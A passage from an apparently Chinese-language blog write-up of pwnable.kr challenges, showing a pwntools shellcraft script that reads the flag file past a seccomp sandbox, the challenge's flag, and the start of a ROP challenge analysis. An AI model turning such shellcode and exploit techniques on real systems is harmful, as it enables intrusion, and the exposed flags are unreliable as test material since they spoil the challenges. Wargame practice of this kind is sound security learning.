</span></span></span><span class="line"><span class="ln">47</span><span class="cl">        <span class="kt">char</span><span class="o">*</span> <span class="n">sh</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="nf">mmap</span><span class="p">(</span><span class="mh">0x41414000</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="n">MAP_ANONYMOUS</span> <span class="o">|</span> <span class="n">MAP_FIXED</span> <span class="o">|</span> <span class="n">MAP_PRIVATE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">        <span class="c1">// 将上面的地址填充 NOP Sled 并复制 Stub进去
</span></span></span><span class="line"><span class="ln">49</span><span class="cl">        <span class="nf">memset</span><span class="p">(</span><span class="n">sh</span><span class="p">,</span> <span class="mh">0x90</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">        <span class="nf">memcpy</span><span class="p">(</span><span class="n">sh</span><span class="p">,</span> <span class="n">stub</span><span class="p">,</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">stub</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">
</span></span><span class="line"><span class="ln">52</span><span class="cl">		<span class="c1">// 从标准输入读取最多 1000 字节的用户自定义 x64 shellcode，放到 stub 之后
</span></span></span><span class="line"><span class="ln">53</span><span class="cl">        <span class="kt">int</span> <span class="n">offset</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">stub</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;give me your x64 shellcode: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">        <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">sh</span><span class="o">+</span><span class="n">offset</span><span class="p">,</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">
</span></span><span class="line"><span class="ln">57</span><span class="cl">		<span class="c1">// 超时强制终止， Chroot 限制文件路径
</span></span></span><span class="line"><span class="ln">58</span><span class="cl">        <span class="nf">alarm</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">        <span class="nf">chroot</span><span class="p">(</span><span class="s">&#34;/home/asm_pwn&#34;</span><span class="p">);</span>        <span class="c1">// you are in chroot jail. so you can&#39;t use symlink in /tmp
</span></span></span><span class="line"><span class="ln">60</span><span class="cl">        <span class="c1">// 加载沙箱
</span></span></span><span class="line"><span class="ln">61</span><span class="cl">        <span class="nf">sandbox</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">        <span class="c1">// 将 sh 指针转换为函数指针并调用
</span></span></span><span class="line"><span class="ln">63</span><span class="cl">        <span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">void</span><span class="p">))</span><span class="n">sh</span><span class="p">)();</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>flag名很长，沙箱没什么好说的，就是给我们限制一个安全环境。然后读取我们输入的shellcode，然后执行。限时十秒
这里脚本写好open flag，再write到标准输出就可以了。</p>
<p>那个stub变量可以用pwntools的disasm函数，从机器码反编译成汇编：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln"> 1</span><span class="cl">&gt;&gt;&gt; from pwn import *
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">&gt;&gt;&gt; print(disasm(b&#39;\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff&#39;))
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">   0:   48                      dec    eax
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">   1:   31 c0                   xor    eax, eax
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">   3:   48                      dec    eax
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">   4:   31 db                   xor    ebx, ebx
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">   6:   48                      dec    eax
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">   7:   31 c9                   xor    ecx, ecx
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">   9:   48                      dec    eax
</span></span><span class="line"><span class="ln">10</span><span class="cl">   a:   31 d2                   xor    edx, edx
</span></span><span class="line"><span class="ln">11</span><span class="cl">   c:   48                      dec    eax
</span></span><span class="line"><span class="ln">12</span><span class="cl">   d:   31 f6                   xor    esi, esi
</span></span><span class="line"><span class="ln">13</span><span class="cl">   f:   48                      dec    eax
</span></span><span class="line"><span class="ln">14</span><span class="cl">  10:   31 ff                   xor    edi, edi
</span></span><span class="line"><span class="ln">15</span><span class="cl">  12:   48                      dec    eax
</span></span><span class="line"><span class="ln">16</span><span class="cl">  13:   31 ed                   xor    ebp, ebp
</span></span><span class="line"><span class="ln">17</span><span class="cl">  15:   4d                      dec    ebp
</span></span><span class="line"><span class="ln">18</span><span class="cl">  16:   31 c0                   xor    eax, eax
</span></span><span class="line"><span class="ln">19</span><span class="cl">  18:   4d                      dec    ebp
</span></span><span class="line"><span class="ln">20</span><span class="cl">  19:   31 c9                   xor    ecx, ecx
</span></span><span class="line"><span class="ln">21</span><span class="cl">  1b:   4d                      dec    ebp
</span></span><span class="line"><span class="ln">22</span><span class="cl">  1c:   31 d2                   xor    edx, edx
</span></span><span class="line"><span class="ln">23</span><span class="cl">  1e:   4d                      dec    ebp
</span></span><span class="line"><span class="ln">24</span><span class="cl">  1f:   31 db                   xor    ebx, ebx
</span></span><span class="line"><span class="ln">25</span><span class="cl">  21:   4d                      dec    ebp
</span></span><span class="line"><span class="ln">26</span><span class="cl">  22:   31 e4                   xor    esp, esp
</span></span><span class="line"><span class="ln">27</span><span class="cl">  24:   4d                      dec    ebp
</span></span><span class="line"><span class="ln">28</span><span class="cl">  25:   31 ed                   xor    ebp, ebp
</span></span><span class="line"><span class="ln">29</span><span class="cl">  27:   4d                      dec    ebp
</span></span><span class="line"><span class="ln">30</span><span class="cl">  28:   31 f6                   xor    esi, esi
</span></span><span class="line"><span class="ln">31</span><span class="cl">  2a:   4d                      dec    ebp
</span></span><span class="line"><span class="ln">32</span><span class="cl">  2b:   31 ff                   xor    edi, edi</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>很明显是清空寄存器，可能是怕寄存器初始内容影响payload
至于shellcode可以用pwntools自带的组件生成，张剑威老师讲过这个，具体调用系统命令跟之前的<code>ret2syscall</code>差不多，就是找各种gadget，往寄存器写参数，最后压入系统调用号就行。我不太建议写汇编，因为学汇编不快乐。</p>
<p>操作系统是分层执行命令的，读取一个文件，需要open把文件打开，返回一个句柄。read就是从句柄那里拿到内容，write是把内容向0/1/2输出。</p>
<p>64位系统，函数的返回值都会放在<code>rax</code>寄存器，我们就从此读取length长度内容，存到rsp寄存器，再从rsp写到标准输出就行</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s2">&#34;amd64&#34;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s2">&#34;linux&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="s2">&#34;this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong&#34;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">asm_code</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="n">shellcraft</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="o">+</span> <span class="n">shellcraft</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="s2">&#34;rax&#34;</span><span class="p">,</span> <span class="s2">&#34;rsp&#34;</span><span class="p">,</span> <span class="mi">100</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="o">+</span> <span class="n">shellcraft</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s2">&#34;rsp&#34;</span><span class="p">,</span> <span class="mi">100</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">asm_code</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;localhost&#34;</span><span class="p">,</span> <span class="mi">9026</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">recv</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvall</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>flag：<code>Mak1ng_5helLcodE_i5_veRy_eaSy</code></p>
<h3 id="horcruxes">horcruxes<a class="anchor" href="#horcruxes">#</a></h3>
<blockquote>
<p>Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi</p>
<p>ssh <a
  href="mailto:horcruxes@pwnable.kr"
  >horcruxes@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<p>喔，要rop了，入门篇的最后一个居然是rop</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">[*] &#39;/home/horcruxes/horcruxes&#39;
</span></span><span class="line"><span class="ln">2</span><span class="cl">    Arch:       i386-32-little
</span></span><span class="line"><span class="ln">3</span><span class="cl">    RELRO:      Full RELRO
</span></span><span class="line"><span class="ln">4</span><span class="cl">    Stack:      No canary found
</span></span><span class="line"><span class="ln">5</span><span class="cl">    NX:         NX enabled
</span></span><span class="line"><span class="ln">6</span><span class="cl">    PIE:        No PIE (0x8040000)
</span></span><span class="line"><span class="ln">7</span><span class="cl">    Stripped:   No</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>看起来没什么保护</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [esp+0h] [ebp-Ch]
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="n">nullptr</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="n">nullptr</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="nf">alarm</span><span class="p">(</span><span class="mh">0x3Cu</span><span class="p">);</span> <span class="c1">// 60u，限时1分钟
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="nf">hint</span><span class="p">();</span> <span class="c1">// 这个提示说摧毁七个伏地魔的神器
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="nf">init_ABCDEFG</span><span class="p">();</span> <span class="c1">//七个变量生成随机字符串，存入变量sum
</span></span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="n">v4</span> <span class="o">=</span> <span class="nf">seccomp_init</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="c1">// 默认拒绝所有系统调用
</span></span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="c1">// 加白名单，2147418112是0x7FFF0000，代表SCMP_ACT_ALLOW（允许该系统调用）
</span></span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="nf">seccomp_rule_add</span><span class="p">(</span><span class="n">v4</span><span class="p">,</span> <span class="mi">2147418112</span><span class="p">,</span> <span class="mi">173</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="c1">// rt_sigreturn
</span></span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="nf">seccomp_rule_add</span><span class="p">(</span><span class="n">v4</span><span class="p">,</span> <span class="mi">2147418112</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="c1">// open
